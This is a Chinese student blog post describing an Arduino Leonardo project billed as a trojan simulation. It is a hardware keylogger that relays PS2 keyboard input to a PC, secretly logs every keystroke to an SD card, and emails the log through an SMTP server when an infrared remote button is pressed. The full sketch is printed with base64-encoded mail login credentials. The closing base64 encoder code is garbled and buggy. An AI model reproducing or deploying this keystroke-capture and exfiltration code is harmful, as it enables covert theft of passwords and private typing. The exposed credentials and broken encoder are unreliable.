Arduino 之木马模拟

心路历程

当老师说要做一个嵌入式的小东西时，就感觉有点慌，因为在潜意识中他是一个很难的东西，于是在接下来的几天之中，就上网去找arduino的相关资料，最终有了一个大致的轮廓觉得也不是那么难了。

接下来就是要确定做什么项目了，做什么项目呢？一开始在高中同学的提议下打算做一个黑板擦，这个方案也想了好几天，预计着是让黑板擦可以在黑板上自由移动，实现自动擦黑板的功能，这个实现需要一个颜色识别模块，可以识别白色，这些都不难，但是要让小车吸附在黑板上并且可以自由移动，这就有点难了，并且和c的关系不大，学不到什么有价值的东西，难点主要是物理问题，于是就放弃了。

接下来几天就沉浸在网上找合适的项目，当时就有点着急，想早早的将项目做完然后就完事了，在“Arduino 入门与进阶”这个网站上找到了一个气象台的项目，美其名为“气象台”，实际也就是测个温度湿度然后再把他显示出来而已罢了，觉得听简单，于是就把它报给了老师，可是后来一想，自己真的是太着急了，这样的话根本学不到什么东西。

于是打算静下心来，真的了解arduino一些基本的东西，于是在arduino中文社区上面找到了一些教程，买了一个套件，学了两天，做了一些实验点了几个灯泡。嘿嘿嘿，然后平常闲着没事的时候就会看看arduino library ，看看有什么好玩的库，以及自己能搞学到什么，自己对客户机服务器一起ip，mac，子网掩码之类的不大明白，然后找到了ethernet库感觉不错，可以学到很多东西，于是就想在自己的项目上加上网络的东西。一个偶然的机会，了解到了arduino leonardo可以充当键盘还有鼠标的功能，于是就想做一个键盘记录的东西。所以这个项目大体确定。

项目简介　

将arduino leonardo和PS2键盘相连（为什么是ps2键盘呢？因为这个板子不支持usb，还需要另外补一个usb扩展版，于是就选择了PS2键盘），当按键盘时候arduino识别出来按的是什么键然后存储到SD卡中，再将识别的按键打到电脑上，当按一个红外遥控器一个特殊的键时，所记录的信息就会通过Ethernet发送一个邮件给特定的人。

学习到的知识

1. 了解了arduino控制传感器的基本原理，并且实战了红外传感模块的使用
2. 练习了SD卡的读写问题
3. 学习了SMTP协议，以及客户端和服务器
4. 知道如何使用arduino leonardo对键盘和鼠标的模拟
5. 知道了base64加密的基本原理，并且亲自写了一个从而联系到了位运算等C的很重要的方面

实现过程

1.第一次开始测试器件是SD卡读写，首先在一个周末拿出来两个小时来看一下SD库，因为虽然有现成的代码，但是要随心所欲的写还是要明白一些基本函数。学完之后就开始测试，但是却久久没有成功，渐渐的一个上午过去了，感觉很苦恼，下午查了一下原因，原因是我的SD卡是fat32格式的，但是SD库支持的却是fat16格式的，于是上网查了一下如何转换格式，下载了“diskgenius”这个软件，就把它格式化了但是 测试的时候还是没有成功！！

唉，一个下午又过去了，有时候一点小bug就会让你找一天，回宿舍问了大神（王天浩）但是他也没有什么解决方案，于是就想是不是SD卡的问题，因此特意去电子市场买了一个大的SD卡，把小卡替换掉，就当我正在期待奇迹发生的时候，还是失败，当时心情真是差到了极点，感觉很累，于是周日下午就回宿舍睡了一下午，晚上在继续上网寻找原因，上天眷顾我让我终于找到了原因 [链接][“arduino1”] [id]: http://swf.com.tw/?p=406 原来是arduino leonardo这个板子的接口和其他板子不一样，他的MOSI MISO CLK 这三个接口和大多数板子不一样。无比兴奋的我当即测试了一下，果然如此。虽然两天时间过去了，但是还好，总算把SD模块整好了。

2.第二步就是模拟键盘这个功能了，于是在下一周末，在图书馆测试了一下这次比较顺利，然后顺带将 * KeyBoard 和 PS2KeyBoard *这两个库学习了半天，也都进行的比较顺利了。

3.第三步也是最困难的一步了，就是网络的问题， 自己对网络一窍不通，但又不想半知半解，于是在图书馆找了一本书，可是看了几天感觉太抽象，一点收获也没有，于是找了一个学习网络的视频 [链接][arduino2] [id]:http://www.51zxw.net/list.aspx?cid=417 这个视频是我找过的最好的视频，因为他对与网络的讲解都是通过一个模拟软件来做实验的，所以看了十几天，感觉了解的差不多了，但是发邮件还有一个重要的协议没有学，那就是SMTP协议，[链接][arduino3] [id]:http://892848153.iteye.com/blog/1724591 [链接][arduino4][id]:http://www.liaoxuefeng.com/wiki/001374738125095c955c1e6d8bb493182103fac9270762a000/001386832745198026a685614e7462fb57dbf733cc9f3ad000 于是就找了这么两个教程，学完之后，准备工作已经就绪，就开始发邮件了，发邮件时用户名和密码需要用base64加密，当时并不知道是什么原理，于是在网上找了一个加密的转换器，就转换了。再发邮件过程中，也遇到了很大的困难

这个原因实在太难找出来了，于是就去问大神吧，他弄了一晚上也没到原因，最后他忽然想到了一个东西，原来是忘记了加client.println(“DATA”);这句话，原因找到那么自然而然就成功了当时真的很高兴，学到了很多好玩的东西比如putty这个软件的使用等，第一次真正对计算机产生了兴趣。

4.最后一步就是如何把零碎的片段整合起来，考虑到这个项目没有用什么传感器什么的，于是就想用一个红外遥控模块将他们串联起来，发射一个红外信号，给arduino一个信号，于是他就会发送一个邮件，接下来的工作比较简单了。

5 做出来！！！，就当我写好一切代码，并且连接好，并且准备享受成功的果实时，一个意想不到的情况却发生了

内存竟然全部占用，一共二百五十多行的代码竟然全部占用，不得已只好做精简工作，可是还是超额，没办法只有删删library里面的东西了，没有删过库的我只好上网去查，删了几个函数，删了几个变量，终于可以了，至此为止项目几乎完成。

材料清单

1. arduino leonardo 一个
2. Ethernet扩展版一个
3. SD卡一张
4. 网线一根
5. 红外接收模块一个
6. 红外遥控器一个
7. PS2键盘一个
8. 若干杜邦线

器件简介

PS2键盘简介

在编写程序之前，先要了解键盘和计算机之间是如何传输数据的。通过前面的内容，我们已经知道键盘与计算机之间其实是通过四根线连接的，除去电源和接地，起作用的实际上是时钟和数据，它们同时向计算机发送电信号. 而要将数据发送给计算机，键盘会同时检查这两根线路，只有确认它们都处于高位时，键盘才会发送数据，只要其中有一根处于低位，键盘就会认为其他设备正在发送数据，从而继续等待。

从键盘所发出的数据是一个11位的结构，如下图所示:

起始位的值一直固定为0,后面有8个数据位,这就是每按下一个键所发送的数据了,在每当时钟脉冲下降时就会从最小显著位开始发送,直到最高显著位为止,按下不同的键,各个时钟脉冲下降的规律也会不同,时钟脉冲的校验值每当脉冲到达一次低位就与1进行一次左移运算,同时每当数据脉冲与时钟脉冲同时到达高位时，二者的校验值就进行一次按位或运算，最后循环运算的结果就是所发送给计算机的按键值。

红外模块简介

要使用遥控器控制arduino,首先我们得知道遥控器各按键对应的编码，不同的遥控器，不同的按键，不同的协议，对应不同的编码。遥控器的每个按键都对应了不同的编码，不同的遥控器使用的编码也不相同。

出现“FFFFFFFF”编码，是因为我使用的是NEC协议的遥控器，当按住某按键不放时，其会发送一个重复编码“FFFFFFFF”。而其他协议的遥控器，则会重复发送对应的编码。

红外编码的值可以通过实验来记录也可以根据网上资料来确定。我是根据实验来测得的我需要的值。

器件连接

步骤一

将Ethernet 拓展板插到arduino Leonardo上，然后插入SD卡。

步骤二

Keyboard		arduino
4(+5v)	5v
3(GND)	GND
5(CLOCK)	pin3
1(DATA)	pin5

步骤三

红外接收器最左端接arduino pin11，中间一个脚接arduino GND，最右边的脚接arduino3V的针脚

步骤四

将网线和Ethernet 扩展版相连，另一端与电脑相连

步骤五

进行网络配置，设置成可以共享网络

右键单击我的网络属性——>更改适配器设置

将网络设置为可共享。

#include 
#include
#include
#include 
#include 

const int datapin=5;
//键盘的data脚所接
const int clockpin=3;
//键盘的clock脚所接
const int sdpin=4;
//sd 卡的cs脚所接
PS2Keyboard board;
File datafile;

const int red=11;
//红外线的脚所接
IRrecv irrecv(red);
decode_results results;




byte server[]={220,181,12,17};
/*163邮箱的服务器ip地址
 * 可以自己在网上获得
 * 也可以自己活得方式是
 * 打开命令行输入 ping smtp.163.com
 * 回车即可
 */
char subject[]="Information";
EthernetClient client;
/*
 * 这个是发送邮件的程序
 */
void sendEmail(char subject[],char message[])
{
 if(client.connect(server,25))
 {
     //Serial.println("Connected");
     client.println("EHLO MYSERVER");
     delay(10);
     client.println("AUTH LOGIN");
     delay(10);
     client.println("MTc4NTMxNDExOTVAMTYzLmNvbQo=");
     /*
      * 发件人的用base64加密的用户名
      */
     delay(10);
     client.println("YWx6bXlocjEyMzQ=");
     /*
      * 发件人用base64加密的密码口令
      */
     delay(10);
     client.println("MAIL FROM:<[email protected]>");
     /*
      * 发件人的邮箱地址
      */
     delay(10);
     client.println("RCPT TO:<[email protected]>");
     /*
      * 收件人的邮箱地址
      */
     delay(10);
     client.println("DATA");
     client.print("SUBJECT:");
     delay(10);
     client.println(subject);
     /*
      * 邮件的主题
      */
     delay(10);
     client.println();
     delay(10);
     client.println(message);
     /*
      * 邮件的内容
      */
     client.print("\r\n.\r\n");
     delay(10);
     client.println("QUIT");
     delay(10);
     //Serial.println("Email sent");
  }
  //else
    //Serial.println("email send failed!");
}
/*
 * 这个是邮件服务器反馈回来的信息
 */
void checkEmail()
{
    while(client.available())
    {
        char c=client.read();
        //Serial.print(c);
    }
    if(!client.connected())
    {
        //Serial.println();
        //Serial.println("no connecting!");
        client.stop();
    }
}
/*
 * 这是接收红外线并作出反馈的函数
 */
void receiveRed()
{
    if(irrecv.decode(&results))
    {
        if(results.value==0xFF30CF)
        {
          char message[100];
             int num=0;
            datafile=SD.open("text1.txt");
            while(datafile.available())
            {  
             message[num]=datafile.read();
             num++;
            }
            sendEmail(subject,message);
            checkEmail();
        }
        irrecv.resume();
    }
}

void setup()
{
    board.begin(datapin,clockpin);
    Keyboard.begin();
    Serial.begin(9600);
    if(!SD.begin(sdpin))
    {
        //Serial.println("SD card failed to initialize!");
        return ;
    }
    datafile=SD.open("text1.txt",FILE_WRITE);
    if(!datafile)
    {
            //Serial.println("SD failed to open the file!");
            return;
    }
    byte mac[]={0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED};
    //Ethernet板的mac地址
    byte ip[]={192,168,137,110};
    //ip地址需要根据自己所处网络的情况来配置
    Ethernet.begin(mac,ip);
    irrecv.enableIRIn();
    //Serial.println("we begin!");
}

void loop()
{
    if(board.available())
    {
        char c=board.read();

            if(c==PS2_ENTER)
            {
             Keyboard.press('\n');
             Keyboard.release('\n');
            }
        else
            if(c==PS2_BACKSPACE)
            {

              Keyboard.press(KEY_BACKSPACE);
              Keyboard.release(KEY_BACKSPACE);
            }
         else

            if(c==PS2_TAB)
            {

            Keyboard.press(KEY_TAB);
            Keyboard.release(KEY_TAB);
            }
        else
            if(c==PS2_ESC)
            {

            Keyboard.press(KEY_ESC);
            Keyboard.release(KEY_ESC);
            }
        else

            if(c==PS2_PAGEDOWN)
            {

            Keyboard.press(KEY_PAGE_DOWN);
            Keyboard.release(KEY_PAGE_DOWN);
            }
        else
            if(c==PS2_PAGEUP)
            {

            Keyboard.press(KEY_PAGE_UP);
            Keyboard.release(KEY_PAGE_UP);
            }
        else
            if(c==PS2_DELETE)
            {

            Keyboard.press(KEY_DELETE);
            Keyboard.release(KEY_DELETE);
            }

        else
        {
            Keyboard.press(c);
            Keyboard.release(c);
        }
         datafile.print(c);
         /*
          * 将得到的输入输入到sd卡中存储起来
          */
    }
    receiveRed();
}

由于这儿用到了base64加密，而自己对加密不大了解，以前一直以为是很高深的东西，但是经过了解，也没有那么高深，就写了一个编码的程序，学习到了关于位运算的很多知识。

#include 
#include 
using namespace std;

const string code="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
string encode(string s)
{
    string aim="";
    int i;
    int number=0;
    for(i=0;iif(number==3)
        {
            char c1 = (s[i-2]&0xfc)>>2;
            char c2= ((s[i-2]&0x03)<<4)+((s[i-1]&0xf0)>>4);
            char c3= ((s[i-1]&0x0f)<<2)+((s[i]&0xc0>>6));
            char c4= ((s[i]&0x3f));
            aim+=code[c1];
            aim+=code[c2];
            aim+=code[c3];
            aim+=code[c4];
            number=0;
        }
    }
    if(number)
    {

        for(int i=number;i<3;i++)
        {
            s+='\0';
        }

        char c[4];
             c[0] = (s[s.size()-3]&0xfc)>>2;
             c[1]= ((s[s.size()-3]&0x03)<<4)+((s[s.size()-2]&0xf0)>>4);
             c[2]= ((s[s.size()-2]&0x0f)<<4)+((s[s.size()-1]&0xc0>>6));
             c[3]= ((s[s.size()-1]&0x3f));
            for(int k=0;k<=3;k++)
            {
                if(k<=number)
                {
                    aim+=code[c[k]];
                }
                else
                    aim+="=";
            }

    }
    return aim;
}

好了项目到此完成！